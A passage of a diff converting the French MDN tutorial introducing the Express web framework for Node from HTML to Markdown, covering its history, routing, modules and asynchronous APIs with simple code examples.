<i>framework</i> actuellement le plus populaire dans Node et est la bibliothèque sous-jacente pour un grand nombre d'autres <a href="https://expressjs.com/fr/resources/frameworks.html">cadres applicatifs web pour Node</a>. Il fournit des mécanismes pour :</p> +## Introduction à Express -<ul> - <li>Écrire des fonctions de traitement pour différentes requêtes HTTP répondant à différentes URI (par le biais des <em>routes</em>).</li> - <li>Intégrer avec les moteurs de rendu de « vues » dans le but de générer des réponses en insérant des données dans des modèles (« <i>templates</i> »). Configurer certains paramètres d'applications comme le port à utiliser à la connexion et l'emplacement des modèles nécessaires pour la mise en forme de la réponse.</li> - <li>Ajouter des requêtes de traitement « <i>middleware</i> » (intergiciel) où vous le voulez dans le tunnel gestionnaire de la requête.</li> -</ul> +[Express](https://expressjs.com/) est le _framework_ actuellement le plus populaire dans Node et est la bibliothèque sous-jacente pour un grand nombre d'autres [cadres applicatifs web pour Node](https://expressjs.com/fr/resources/frameworks.html). Il fournit des mécanismes pour : -<p>Bien qu'Express soit assez minimaliste, des <em>middlewares</em> (fonctions intermédiaires) compatibles ont été créés pour résoudre quasiment tous les problèmes de développement web. Il existe des bibliothèques pour se servir des cookies, gérer les sessions, la connexion de l'utilisateur, les paramètres de l'URL, les données <code>POST</code>, les entêtes de sécurité et d'autres encore. Vous trouverez une liste des paquets maintenus par l'équipe Express ici : <a href="https://expressjs.com/fr/resources/middleware.html">Express Middleware</a> (ainsi que la liste de paquets tiers populaires).</p> +- Écrire des fonctions de traitement pour différentes requêtes HTTP répondant à différentes URI (par le biais des _routes_). +- Intégrer avec les moteurs de rendu de « vues » dans le but de générer des réponses en insérant des données dans des modèles (« _templates_ »). Configurer certains paramètres d'applications comme le port à utiliser à la connexion et l'emplacement des modèles nécessaires pour la mise en forme de la réponse. +- Ajouter des requêtes de traitement « _middleware_ » (intergiciel) où vous le voulez dans le tunnel gestionnaire de la requête. -<div class="note"> - <p><strong>Note :</strong> Cette flexibilité est à double tranchant. Il y a une multitude de paquets pour résoudre chaque problème mais trouver le bon paquet à utiliser peut vite devenir un défi. Il n'y a pas non plus de « bonne manière » pour structurer une application et beaucoup d'exemples que vous trouverez sur le net ne sont pas optimisés ou montrent seulement une infime partie de ce que vous devez faire pour développer une application web.</p> -</div> +Bien qu'Express soit assez minimaliste, des _middlewares_ (fonctions intermédiaires) compatibles ont été créés pour résoudre quasiment tous les problèmes de développement web. Il existe des bibliothèques pour se servir des cookies, gérer les sessions, la connexion de l'utilisateur, les paramètres de l'URL, les données `POST`, les entêtes de sécurité et d'autres encore. Vous trouverez une liste des paquets maintenus par l'équipe Express ici : [Express Middleware](https://expressjs.com/fr/resources/middleware.html) (ainsi que la liste de paquets tiers populaires). -<h2 id="where_did_node_and_express_come_from">D'où viennent Node et Express ?</h2> +> **Note :** Cette flexibilité est à double tranchant. Il y a une multitude de paquets pour résoudre chaque problème mais trouver le bon paquet à utiliser peut vite devenir un défi. Il n'y a pas non plus de « bonne manière » pour structurer une application et beaucoup d'exemples que vous trouverez sur le net ne sont pas optimisés ou montrent seulement une infime partie de ce que vous devez faire pour développer une application web. -<p>À ses débuts en 2009, Node a été publié pour Linux uniquement. Le gestionnaire de paquets NPM est sorti en 2010, et le support natif de Windows fut ajouté en 2012. Ceci est un très court aperçu d'une aventure riche en rebondissements. Allez creuser ça sur <a href="https://fr.wikipedia.org/wiki/Node.js#Historique">Wikipédia</a> si vous voulez en savoir plus.</p> +## D'où viennent Node et Express ? -<p>Express est sorti pour la première fois en novembre 2010. Vous pouvez consulter la <a href="https://expressjs.com/en/changelog/4x.html">liste des modifications</a> pour plus d'informations sur la version courante et <a href="https://github.com/expressjs/express/blob/master/History.md">GitHub</a> pour plus de détails sur l'historique des publications.</p> +À ses débuts en 2009, Node a été publié pour Linux uniquement. Le gestionnaire de paquets NPM est sorti en 2010, et le support natif de Windows fut ajouté en 2012. Ceci est un très court aperçu d'une aventure riche en rebondissements. Allez creuser ça sur [Wikipédia](https://fr.wikipedia.org/wiki/Node.js#Historique) si vous voulez en savoir plus. -<h2 id="how_popular_are_node_and_express">Quelle popularité pour Node et Express ?</h2> +Express est sorti pour la première fois en novembre 2010. Vous pouvez consulter la [liste des modifications](https://expressjs.com/en/changelog/4x.html) pour plus d'informations sur la version courante et [GitHub](https://github.com/expressjs/express/blob/master/History.md) pour plus de détails sur l'historique des publications. -<p>La popularité d'un <i>framework</i> web est importante car elle conditionne la maintenance dans le temps et les ressources qu'il est raisonnable de mettre à disposition dans la documentation, les bibliothèques d'extensions et le support technique.</p> +## Quelle popularité pour Node et Express ? -<p>Il n'existe pas d'échelle de mesures définitive et fiable pour l'estimation de la popularité des <i>frameworks</i> côté serveur, bien que des sites comme <a href="https://hotframeworks.com/">Hot Frameworks</a> essaient d'estimer la popularité par le comptage du nombre de projets GitHub ou StackOverflow. La question est : « Est-ce que Node et Express sont suffisamment populaires pour pouvoir s'affranchir des plateformes non-populaires ? Continuent-ils à évoluer ? Pouvez-vous avoir de l'aide si besoin ? Existe-t-il une opportunité pour vous de gagner de l'argent si vous apprenez Express ? ».</p> +La popularité d'un _framework_ web est importante car elle conditionne la maintenance dans le temps et les ressources qu'il est raisonnable de mettre à disposition dans la documentation, les bibliothèques d'extensions et le support technique. -<p>Si on se réfère à la <a href="https://expressjs.com/fr/resources/companies-using-express.html"> liste des entreprises utilisant Express</a>, la quantité de gens contribuant au code et le nombre de gens fournissant un support payant ou bien gratuit, alors oui, <em>Express</em> est un framework populaire !</p> +Il n'existe pas d'échelle de mesures définitive et fiable pour l'estimation de la popularité des _frameworks_ côté serveur, bien que des sites comme [Hot Frameworks](https://hotframeworks.com/) essaient d'estimer la popularité par le comptage du nombre de projets GitHub ou StackOverflow. La question est : « Est-ce que Node et Express sont suffisamment populaires pour pouvoir s'affranchir des plateformes non-populaires ? Continuent-ils à évoluer ? Pouvez-vous avoir de l'aide si besoin ? Existe-t-il une opportunité pour vous de gagner de l'argent si vous apprenez Express ? ». -<h2 id="is_express_opinionated">Express est-il « dogmatique » ?</h2> +Si on se réfère à la [liste des entreprises utilisant Express](https://expressjs.com/fr/resources/companies-using-express.html), la quantité de gens contribuant au code et le nombre de gens fournissant un support payant ou bien gratuit, alors oui, _Express_ est un framework populaire ! -<p>Les cadres logiciels web se décrivent souvent comme ayant ou non des opinions données sur tel ou tel sujet au sens où ils sont orientés dans leur usage selon ces choix/opinions. En anglais, on dit d'un <i>framework</i> qu'il est <i>opinionated</i> ou non.</p> +## Express est-il « dogmatique » ? -<p>Les <i>frameworks</i> avec une opinion sont ceux qui ont un avis arrêté sur la « bonne manière » de gérer certaines tâches. Ils fournissent souvent un cadre permettant de développer rapidement <em>dans un domaine particulier</em> (résolvant des problèmes d'un type particulier) parce que la bonne manière de faire quoi que ce soit est généralement bien comprise et bien documentée. Toutefois, ils peuvent manquer de flexibilité pour la résolution de problèmes hors de leur portée et tendent à offrir peu de choix concernant les composants et approches qu'ils peuvent utiliser.</p> +Les cadres logiciels web se décrivent souvent comme ayant ou non des opinions données sur tel ou tel sujet au sens où ils sont orientés dans leur usage selon ces choix/opinions. En anglais, on dit d'un _framework_ qu'il est _opinionated_ ou non. -<p>Les <i>frameworks</i> sans opinion, par contraste, ont beaucoup moins de restrictions sur la meilleure manière d'assembler des composants ensemble pour atteindre un objectif, ou encore sur les composants que vous devriez utiliser. Ils laissent aux développeurs la possibilité d'utiliser les outils les plus adaptés pour achever une tâche particulière, bien que cela nécessite que vous cherchiez et trouviez ces composants par vous-même.</p> +Les _frameworks_ avec une opinion sont ceux qui ont un avis arrêté sur la « bonne manière » de gérer certaines tâches. Ils fournissent souvent un cadre permettant de développer rapidement _dans un domaine particulier_ (résolvant des problèmes d'un type particulier) parce que la bonne manière de faire quoi que ce soit est généralement bien comprise et bien documentée. Toutefois, ils peuvent manquer de flexibilité pour la résolution de problèmes hors de leur portée et tendent à offrir peu de choix concernant les composants et approches qu'ils peuvent utiliser. -<p>Express n'est pas particulièrement dogmatique. Vous pouvez intégrer quasiment n'importe quelle fonction intermédiaire compatible voulue dans la pile de gestion des requêtes, dans quasiment n'importe quel ordre. Vous pouvez structurer l'application en un fichier comme en plusieurs, et utiliser n'importe quelle structure de dossiers. Vous pourrez même quelques fois vous sentir perdu⋅e par la liberté que vous avez de vous organiser comme vous le souhaitez !</p> +Les _frameworks_ sans opinion, par contraste, ont beaucoup moins de restrictions sur la meilleure manière d'assembler des composants ensemble pour atteindre un objectif, ou encore sur les composants que vous devriez utiliser. Ils laissent aux développeurs la possibilité d'utiliser les outils les plus adaptés pour achever une tâche particulière, bien que cela nécessite que vous cherchiez et trouviez ces composants par vous-même. -<h2 id="what_does_express_code_look_like">À quoi ressemble du code Express ?</h2> +Express n'est pas particulièrement dogmatique. Vous pouvez intégrer quasiment n'importe quelle fonction intermédiaire compatible voulue dans la pile de gestion des requêtes, dans quasiment n'importe quel ordre. Vous pouvez structurer l'application en un fichier comme en plusieurs, et utiliser n'importe quelle structure de dossiers. Vous pourrez même quelques fois vous sentir perdu⋅e par la liberté que vous avez de vous organiser comme vous le souhaitez ! -<p>Dans un site web utilisé pour traiter des données, une application web attend des requêtes HTTP du navigateur web (ou d'un autre client). Quand une requête est reçue, l'application cherche quelle action est requise en fonction du modèle de l'URL et des possibles informations associés contenues dans les données <code>POST</code> ou <code>GET</code>. Selon ce qui est requis, il pourra alors lire ou écrire des informations dans une base de données ou effectuer d'autre tâches pour satisfaire la requête. L'application va alors retourner une réponse au navigateur web, souvent une page HTML créée dynamiquement pour le navigateur, en intégrant les données récupérées dans un modèle HTML.</p> +## À quoi ressemble du code Express ? -<p>Express fournit des méthodes pour spécifier quelle fonction est appelée pour une méthode HTTP particulière (<code>GET</code>, <code>POST</code>, <code>SET</code>, etc.) et un modèle d'URL ("Route"), ainsi que des méthodes pour spécifier quel moteur de rendu de vues ("view") est utilisé, où sont les modèles de vues et quel modèle utiliser pour générer une réponse. Vous pouvez utiliser les fonctions intermédiaires d'Express pour prendre en charge les cookies, les sessions, les utilisateurs, obtenir les paramètres <code>POST</code>/<code>GET</code>, etc. Vous pouvez utiliser n'importe que système de base données supporté par Node (Express ne définit aucun comportement relatif aux bases de données).</p> +Dans un site web utilisé pour traiter des données, une application web attend des requêtes HTTP du navigateur web (ou d'un autre client). Quand une requête est reçue, l'application cherche quelle action est requise en fonction du modèle de l'URL et des possibles informations associés contenues dans les données `POST` ou `GET`. Selon ce qui est requis, il pourra alors lire ou écrire des informations dans une base de données ou effectuer d'autre tâches pour satisfaire la requête. L'application va alors retourner une réponse au navigateur web, souvent une page HTML créée dynamiquement pour le navigateur, en intégrant les données récupérées dans un modèle HTML. -<p>Les sections suivantes expliquent quelques choses communes que vous verrez en travaillant avec du code <em>Express</em> et <em>Node</em>.</p> +Express fournit des méthodes pour spécifier quelle fonction est appelée pour une méthode HTTP particulière (`GET`, `POST`, `SET`, etc.) et un modèle d'URL ("Route"), ainsi que des méthodes pour spécifier quel moteur de rendu de vues ("view") est utilisé, où sont les modèles de vues et quel modèle utiliser pour générer une réponse. Vous pouvez utiliser les fonctions intermédiaires d'Express pour prendre en charge les cookies, les sessions, les utilisateurs, obtenir les paramètres `POST`/`GET`, etc. Vous pouvez utiliser n'importe que système de base données supporté par Node (Express ne définit aucun comportement relatif aux bases de données). -<h3 id="helloworld_express">Hello World Express</h3> +Les sections suivantes expliquent quelques choses communes que vous verrez en travaillant avec du code _Express_ et _Node_. -<p>Tout d'abord intéressons-nous à l'exemple <a href="https://expressjs.com/fr/starter/hello-world.html">Hello World</a> standard d'Express (nous expliquons chaque partie de cet exemple ci-dessous, et dans les sections suivantes).</p> +### Hello World Express -<div class="note"> - <p><strong>Note :</strong> Si vous avez déjà installé Node et Express (ou si vous les installez comme montré dans <a href="/fr/docs/Learn/Server-side/Express_Nodejs/development_environment">l'article suivant</a>), vous pouvez enregistrer ce code dans un fichier texte appelé <strong>app.js</strong> et l'exécuter via un terminal en tapant :</p> - <p><strong><code>node app.js</code></strong></p> -</div> +Tout d'abord intéressons-nous à l'exemple [Hello World](https://expressjs.com/fr/starter/hello-world.html) standard d'Express (nous expliquons chaque partie de cet exemple ci-dessous, et dans les sections suivantes). -<pre class="brush: js">const express = require('express'); +> **Note :** Si vous avez déjà installé Node et Express (ou si vous les installez comme montré dans [l'article suivant](/fr/docs/Learn/Server-side/Express_Nodejs/development_environment)), vous pouvez enregistrer ce code dans un fichier texte appelé **app.js** et l'exécuter via un terminal en tapant : +> +> **`node app.js`** + +```js +const express = require('express'); const app = express(); const port = 3000; -<strong>app.get('/', (req, res) => { +app.get('/', (req, res) => { res.send('Hello World!') -});</strong> +}); -app.listen(port, () => { +app.listen(port, () => { console.log(`Application exemple à l'écoute sur le port ${port}!`) }); -</pre> +``` -<p>Les deux premières lignes importent (avec <code>require()</code>) le module express et créent une <a href="https://expressjs.com/en/4x/api.html#app">application express</a>. Cet objet, qui est traditionnellement nommé <code>app</code>, possède des méthodes pour acheminer les requêtes HTTP, configurer les intergiciels, rendre les vues HTML, enregistrer un moteur de modèles et modifier les <a href="https://expressjs.com/en/4x/api.html#app.settings.table">paramètres de l'application</a> qui contrôlent le comportement de l'application (par exemple, le mode d'environnement, si les définitions de route sont sensibles à la casse, etc.).</p> +Les deux premières lignes importent (avec `require()`) le module express et créent une [application express](https://expressjs.com/en/4x/api.html#app). Cet objet, qui est traditionnellement nommé `app`, possède des méthodes pour acheminer les requêtes HTTP, configurer les intergiciels, rendre les vues HTML, enregistrer un moteur de modèles et modifier les [paramètres de l'application](https://expressjs.com/en/4x/api.html#app.settings.table) qui contrôlent le comportement de l'application (par exemple, le mode d'environnement, si les définitions de route sont sensibles à la casse, etc.). -<p>La partie centrale du code (les trois lignes commençant par <code>app.get</code>) montre une <em>définition de route</em>. La méthode <code>app.get()</code> spécifie une fonction de rappel qui sera invoquée chaque fois qu'il y aura une requête HTTP <code>GET</code> avec un chemin (<code>'/'</code>) relatif à la racine du site. La fonction de rappel prend une requête et un objet réponse comme arguments, et appelle simplement <a href="https://expressjs.com/en/4x/api.html#res.send"><code>send()</code></a> sur la réponse pour renvoyer la chaîne de caractères <code>"Hello World!"</code>.</p> +La partie centrale du code (les trois lignes commençant par `app.get`) montre une _définition de route_. La méthode `app.get()` spécifie une fonction de rappel qui sera invoquée chaque fois qu'il y aura une requête HTTP `GET` avec un chemin (`'/'`) relatif à la racine du site. La fonction de rappel prend une requête et un objet réponse comme arguments, et appelle simplement [`send()`](https://expressjs.com/en/4x/api.html#res.send) sur la réponse pour renvoyer la chaîne de caractères `"Hello World!"`. -<p>Le dernier bloc démarre le serveur sur le port 3000 et affiche un commentaire de journal dans la console. Avec le serveur en cours d'exécution, vous pouvez aller sur <code>localhost:3000</code> dans votre navigateur pour voir l'exemple de réponse renvoyé.</p> +Le dernier bloc démarre le serveur sur le port 3000 et affiche un commentaire de journal dans la console. Avec le serveur en cours d'exécution, vous pouvez aller sur `localhost:3000` dans votre navigateur pour voir l'exemple de réponse renvoyé. -<h3 id="importing_and_creating_modules">Créer et importer des modules</h3> +### Créer et importer des modules -<p>Un module est une bibliothèque/fichier JavaScript que vous pouvez importer dans un autre code en utilisant la fonction <code>require()</code> de Node. <em>Express</em> lui-même est un module, tout comme les bibliothèques de <i>middleware</i> et de base de données que nous utilisons dans nos applications <em>Express</em>.</p> +Un module est une bibliothèque/fichier JavaScript que vous pouvez importer dans un autre code en utilisant la fonction `require()` de Node. _Express_ lui-même est un module, tout comme les bibliothèques de _middleware_ et de base de données que nous utilisons dans nos applications _Express_. -<p>Le code ci-dessous montre comment nous importons un module par son nom, en utilisant le framework <em>Express</em> comme exemple. Tout d'abord, nous invoquons la fonction <code>require()</code>, en spécifiant le nom du module sous forme de chaîne (<code>'express'</code>), et en appelant l'objet retourné pour créer une <a href="https://expressjs.com/en/4x/api.html#app">applicationExpress</a>. Nous pouvons alors accéder aux propriétés et fonctions de l'objet application.</p> +Le code ci-dessous montre comment nous importons un module par son nom, en utilisant le framework _Express_ comme exemple. Tout d'abord, nous invoquons la fonction `require()`, en spécifiant le nom du module sous forme de chaîne (`'express'`), et en appelant l'objet retourné pour créer une [applicationExpress](https://expressjs.com/en/4x/api.html#app). Nous pouvons alors accéder aux propriétés et fonctions de l'objet application. -<pre class="brush: js">const express = require('express'); +```js +const express = require('express'); const app = express(); -</pre> +``` -<p>Vous pouvez également créer vos propres modules qui peuvent être importés de la même manière.</p> +Vous pouvez également créer vos propres modules qui peuvent être importés de la même manière. -<div class="note"> - <p><strong>Note :</strong> Vous <em>voudrez</em> créer vos propres modules, car cela vous permet d'organiser votre code en parties maniables — une application monolithique à fichier unique est difficile à comprendre et à maintenir. L'utilisation de modules vous aide également à gérer votre espace de noms, car seules les variables que vous exportez explicitement sont importées lorsque vous utilisez un module.</p> -</div> +> **Note :** Vous _voudrez_ créer vos propres modules, car cela vous permet d'organiser votre code en parties maniables — une application monolithique à fichier unique est difficile à comprendre et à maintenir. L'utilisation de modules vous aide également à gérer votre espace de noms, car seules les variables que vous exportez explicitement sont importées lorsque vous utilisez un module. -<p>Pour rendre les objets disponibles en dehors d'un module, il suffit de les affecter à l'objet <code>exports</code>. Par exemple, le module <strong>square.js</strong> ci-dessous est un fichier qui exporte les méthodes <code>area()</code> et <code>perimeter()</code> :</p> +Pour rendre les objets disponibles en dehors d'un module, il suffit de les affecter à l'objet `exports`. Par exemple, le module **square.js** ci-dessous est un fichier qui exporte les méthodes `area()` et `perimeter()` : -<pre class="brush: js">exports.area = function(width) { return width * width; }; -exports.perimeter = function(width) { return 4 * width; };</pre> +```js +exports.area = function(width) { return width * width; }; +exports.perimeter = function(width) { return 4 * width; }; +``` -<p>Nous pouvons importer ce module en utilisant <code>require()</code>, puis appeler la ou les méthodes exportées comme indiqué :</p> +Nous pouvons importer ce module en utilisant `require()`, puis appeler la ou les méthodes exportées comme indiqué : -<pre class="brush: js">var square = require('./square'); // Ici, nous demandons le nom du fichier sans l'extension de fichier .js (facultative). -console.log("L'aire d'un carré dont la largeur est de 4 est la suivante " + square.area(4));</pre> +```js +var square = require('./square'); // Ici, nous demandons le nom du fichier sans l'extension de fichier .js (facultative). +console.log("L'aire d'un carré dont la largeur est de 4 est la suivante " + square.area(4)); +``` -<div class="note"> - <p><strong>Note :</strong> Vous pouvez également spécifier un chemin absolu vers le module (ou un nom, comme nous l'avons fait initialement).</p> -</div> +> **Note :** Vous pouvez également spécifier un chemin absolu vers le module (ou un nom, comme nous l'avons fait initialement). -<p>Si vous souhaitez exporter un objet complet en une seule affectation au lieu de le construire une propriété à la fois, affectez-le à <code>module.exports</code> comme indiqué ci-dessous (vous pouvez également procéder ainsi pour faire de la racine de l'objet exports un constructeur ou une autre fonction) :</p> +Si vous souhaitez exporter un objet complet en une seule affectation au lieu de le construire une propriété à la fois, affectez-le à `module.exports` comme indiqué ci-dessous (vous pouvez également procéder ainsi pour faire de la racine de l'objet exports un constructeur ou une autre fonction) : -<pre class="brush: js">module.exports = { +```js +module.exports = { area: function(width) { return width * width; }, @@ -206,138 +219,142 @@ console.log("L'aire d'un carré dont la largeur est de 4 est la suivante " + squ perimeter: function(width) { return 4 * width; } -};</pre> +}; +``` -<div class="note"> - <p><strong>Note :</strong> L'objet <code>exports</code> peut être vu comme un <a href="https://nodejs.org/api/modules.html#modules_exports_shortcut">raccourci</a> vers <code>module.exports</code> au sein d'un module donné. En fait, <code>exports</code> est simplement une variable qui est initialisée avec la valeur de <code>module.exports</code> avant que le module soit évalué. Cette valeur est une référence vers un objet. Cela signifie que <code>exports</code> référence le même objet que celui référencé par <code>module.exports</code>. Cela signifie également qu'affecter une autre valeur à <code>exports</code> le détachera complètement de <code>module.exports</code>.</p> - </div> - +> **Note :** L'objet `exports` peut être vu comme un [raccourci](https://nodejs.org/api/modules.html#modules_exports_shortcut) vers `module.exports` au sein d'un module donné. En fait, `exports` est simplement une variable qui est initialisée avec la valeur de `module.exports` avant que le module soit évalué. Cette valeur est une référence vers un objet. Cela signifie que `exports` référence le même objet que celui référencé par `module.exports`. Cela signifie également qu'affecter une autre valeur à `exports` le détachera complètement de `module.exports`. -<p>Pour de plus amples informations sur les modules, voir <a href="https://nodejs.org/api/modules.html#modules_modules">Modules</a> (documentation Node).</p> +Pour de plus amples informations sur les modules, voir [Modules](https://nodejs.org/api/modules.html#modules_modules) (documentation Node). -<h3 id="using_asynchronous_apis">Utilisation des API asynchrones</h3> +### Utilisation des API asynchrones -<p>Le code JavaScript utilise fréquemment des API asynchrones plutôt que synchrones pour les opérations qui peuvent prendre un certain temps à se terminer. Une API synchrone est une API dans laquelle chaque opération doit être terminée avant que l'opération suivante puisse commencer. Par exemple, les fonctions d'enregistrement suivantes sont synchrones et impriment le texte dans la console dans l'ordre (Premier, Second).</p> +Le code JavaScript utilise fréquemment des API asynchrones plutôt que synchrones pour les opérations qui peuvent prendre un certain temps à se terminer. Une API synchrone est une API dans laquelle chaque opération doit être terminée avant que l'opération suivante puisse commencer. Par exemple, les fonctions d'enregistrement suivantes sont synchrones et impriment le texte dans la console dans l'ordre (Premier, Second). -<pre class="brush: js">console.log('Premier'); -console.log('Second');</pre> +```js +console.log('Premier'); +console.log('Second'); +``` -<p>En revanche, une API asynchrone est une API qui lance une opération et revient immédiatement (avant que l'opération ne soit terminée). Une fois l'opération terminée, l'API utilisera un mécanisme quelconque pour effectuer des opérations supplémentaires. Par exemple, le code ci-dessous imprimera « Second, Premier » car même si la méthode <code>setTimeout()</code> est appelée en premier, et revient immédiatement, l'opération ne se termine pas avant plusieurs secondes.</p> +En revanche, une API asynchrone est une API qui lance une opération et revient immédiatement (avant que l'opération ne soit terminée). Une fois l'opération terminée, l'API utilisera un mécanisme quelconque pour effectuer des opérations supplémentaires. Par exemple, le code ci-dessous imprimera « Second, Premier » car même si la méthode `setTimeout()` est appelée en premier, et revient immédiatement, l'opération ne se termine pas avant plusieurs secondes. -<pre class="brush: js">setTimeout(function() { +```js +setTimeout(function() { console.log('Premier'); }, 3000); -console.log('Second');</pre> +console.log('Second'); +``` -<p>L'utilisation d'API asynchrones non bloquantes est encore plus importante sur Node que dans le navigateur, car <em>Node</em> est un environnement d'exécution événementiel avec un seul <i>thread</i>. Cela signifie que toutes les requêtes adressées au serveur sont exécutées sur le même <i>thread</i> (plutôt que d'être fractionnées en <i>threads</i> distincts). Ce modèle est extrêmement efficace en termes de vitesse et de ressources du serveur, mais il signifie que si l'une de vos fonctions appelle des méthodes synchrones qui prennent beaucoup de temps pour se terminer, elle bloquera non seulement la demande actuelle, mais aussi toutes les autres demandes traitées par votre application Web.</p> +L'utilisation d'API asynchrones non bloquantes est encore plus importante sur Node que dans le navigateur, car _Node_ est un environnement d'exécution événementiel avec un seul _thread_. Cela signifie que toutes les requêtes adressées au serveur sont exécutées sur le même _thread_ (plutôt que d'être fractionnées en _threads_ distincts). Ce modèle est extrêmement efficace en termes de vitesse et de ressources du serveur, mais il signifie que si l'une de vos fonctions appelle des méthodes synchrones qui prennent beaucoup de temps pour se terminer, elle bloquera non seulement la demande actuelle, mais aussi toutes les autres demandes traitées par votre application Web. -<p>Il existe plusieurs façons pour une API asynchrone d'informer votre application de la fin d'une opération. La méthode la plus courante consiste à enregistrer une fonction de rappel lorsque vous invoquez l'API asynchrone, qui sera rappelée lorsque l'opération sera terminée. C'est l'approche utilisée ci-dessus.</p> +Il existe plusieurs façons pour une API asynchrone d'informer votre application de la fin d'une opération. La méthode la plus courante consiste à enregistrer une fonction de rappel lorsque vous invoquez l'API asynchrone, qui sera rappelée lorsque l'opération sera terminée. C'est l'approche utilisée ci-dessus. -<div class="note"> - <p><strong>Note :</strong> L'utilisation des rappels (« <em>callbacks</em> ») peut être assez « désordonnée » si vous avez une séquence d'opérations asynchrones dépendantes qui doivent être exécutées dans l'ordre, car cela entraîne de multiples niveaux de rappels imbriqués. Ce problème est communément appelé « l'enfer des callbacks ». Ce problème peut être réduit par de bonnes pratiques de codage dont l'utilisation des <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise">promesses</a> ou de <a href="/fr/docs/Web/JavaScript/Reference/Statements/async_function"><code>async</code></a>/<a href="/fr/docs/Web/JavaScript/Reference/Operators/await"><code>await</code></a>.</p> -</div> +> **Note :** L'utilisation des rappels (« _callbacks_ ») peut être assez « désordonnée » si vous avez une séquence d'opérations asynchrones dépendantes qui doivent être exécutées dans l'ordre, car cela entraîne de multiples niveaux de rappels imbriqués. Ce problème est communément appelé « l'enfer des callbacks ». Ce problème peut être réduit par de bonnes pratiques de codage dont l'utilisation des [promesses](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) ou de [`async`](/fr/docs/Web/JavaScript/Reference/Statements/async_function)/[`await`](/fr/docs/Web/JavaScript/Reference/Operators/await). -<div class="note"> - <p><strong>Note :</strong> Une convention courante pour Node et Express est d'utiliser des callbacks de type error-first. Dans cette convention, la première valeur de vos <em>fonctions de rappel</em> est une valeur d'erreur, tandis que les arguments suivants contiennent des données de succès. Il y a une bonne explication de l'utilité de cette approche dans ce blog : <a href="https://fredkschott.com/post/2014/03/understanding-error-first-callbacks-in-node-js">The Node.js Way - Comprendre les callbacks de type « Error First ».</a> (fredkschott.com).</p> -</div> +> **Note :** Une convention courante pour Node et Express est d'utiliser des callbacks de type error-first. Dans cette convention, la première valeur de vos _fonctions de rappel_ est une valeur d'erreur, tandis que les arguments suivants contiennent des données de succès. Il y a une bonne explication de l'utilité de cette approche dans ce blog : [The Node.js Way - Comprendre les callbacks de type « Error First ».](https://fredkschott.com/post/2014/03/understanding-error-first-callbacks-in-node-js) (fredkschott.com). -<h3 id="creating_route_handlers">Créer des gestionnaires de route</h3> +### Créer des gestionnaires de route -<p>Dans notre exemple <em>Hello World</em> d'Express (voir ci-dessus), nous avons défini une fonction de gestion de route (un <i>callback</i>) pour les requêtes HTTP <code>GET</code> vers la racine du site (<code>'/'</code>).</p> +Dans notre exemple _Hello World_ d'Express (voir ci-dessus), nous avons défini une fonction de gestion de route (un _callback_) pour les requêtes HTTP `GET` vers la racine du site (`'/'`). -<pre class="brush: js">app.get('/', (req, res) => { +```js +app.get('/', (req, res) => { res.send('Hello World!'); -});</pre> +}); +``` + +La fonction de rappel prend une requête et un objet réponse comme arguments. Dans ce cas, la méthode appelle simplement [`send()`](https://expressjs.com/en/4x/api.html#res.send) sur la réponse pour renvoyer la chaîne de caractères « Hello World ! ». Il existe un [nombre d'autres méthodes de réponse](https://expressjs.com/fr/guide/routing.html#response-methods) pour terminer le cycle requête/réponse, par exemple vous pourriez appeler [`res.json()`](https://expressjs.com/en/4x/api.html#res.json) pour envoyer une réponse JSON ou [`res.sendFile()`](https://expressjs.com/en/4x/api.html#res.sendFile) pour envoyer un fichier. -<p>La fonction de rappel prend une requête et un objet réponse comme arguments. Dans ce cas, la méthode appelle simplement <a href="https://expressjs.com/en/4x/api.html#res.send"><code>send()</code></a> sur la réponse pour renvoyer la chaîne de caractères « Hello World ! ». Il existe un <a href="https://expressjs.com/fr/guide/routing.html#response-methods">nombre d'autres méthodes de réponse</a> pour terminer le cycle requête/réponse, par exemple vous pourriez appeler <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code> pour envoyer une réponse JSON ou <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a></code> pour envoyer un fichier.</p> +> **Note :** Vous pouvez utiliser les noms d'arguments de votre choix dans les fonctions de rappel ; lorsque le rappel est invoqué, le premier argument sera toujours la requête et le second sera toujours la réponse. Il est judicieux de les nommer de telle sorte que vous puissiez identifier l'objet avec lequel vous travaillez dans le corps du _callback_. -<div class="note"> - <p><strong>Note :</strong> Vous pouvez utiliser les noms d'arguments de votre choix dans les fonctions de rappel ; lorsque le rappel est invoqué, le premier argument sera toujours la requête et le second sera toujours la réponse. Il est judicieux de les nommer de telle sorte que vous puissiez identifier l'objet avec lequel vous travaillez dans le corps du <i>callback</i>.</p> -</div> +L'objet _Express_ `application` fournit également des méthodes permettant de définir des gestionnaires de route pour tous les autres verbes HTTP, qui sont pour la plupart utilisés exactement de la même manière : -<p>L'objet <em>Express</em> <code>application</code> fournit également des méthodes permettant de définir des gestionnaires de route pour tous les autres verbes HTTP, qui sont pour la plupart utilisés exactement de la même manière : </p> -<p><code>checkout()</code>, <code>copy()</code>, <strong><code>delete()</code></strong>, <strong><code>get()</code></strong>, <code>head()</code>, <code>lock()</code>, <code>merge()</code>, <code>mkactivity()</code>, <code>mkcol()</code>, <code>move()</code>, <code>m-search()</code>, <code>notify()</code>, <code>options()</code>, <code>patch()</code>, <strong><code>post()</code></strong>, <code>purge()</code>, <strong><code>put()</code></strong>, <code>report()</code>, <code>search()</code>, <code>subscribe()</code>, <code>trace()</code>, <code>unlock()</code>, <code>unsubscribe()</code>.</p> +`checkout()`, `copy()`, **`delete()`**, **`get()`**, `head()`, `lock()`, `merge()`, `mkactivity()`, `mkcol()`, `move()`, `m-search()`, `notify()`, `options()`, `patch()`, **`post()`**, `purge()`, **`put()`**, `report()`, `search()`, `subscribe()`, `trace()`, `unlock()`, `unsubscribe()`. -<p>Il existe une méthode de routage spéciale, <code>app.all()</code>, qui sera appelée en réponse à toute méthode HTTP. Ceci est utilisé pour charger les fonctions <i>middleware</i> à un chemin particulier pour toutes les méthodes de requête. L'exemple suivant (tiré de la documentation d'Express) montre un gestionnaire qui sera exécuté pour les requêtes vers <code>/secret</code> indépendamment du verbe HTTP utilisé (à condition qu'il soit supporté par le <a href="https://nodejs.org/api/http.html#http_http_methods">module http</a>).</p> +Il existe une méthode de routage spéciale, `app.all()`, qui sera appelée en réponse à toute méthode HTTP. Ceci est utilisé pour charger les fonctions _middleware_ à un chemin particulier pour toutes les méthodes de requête. L'exemple suivant (tiré de la 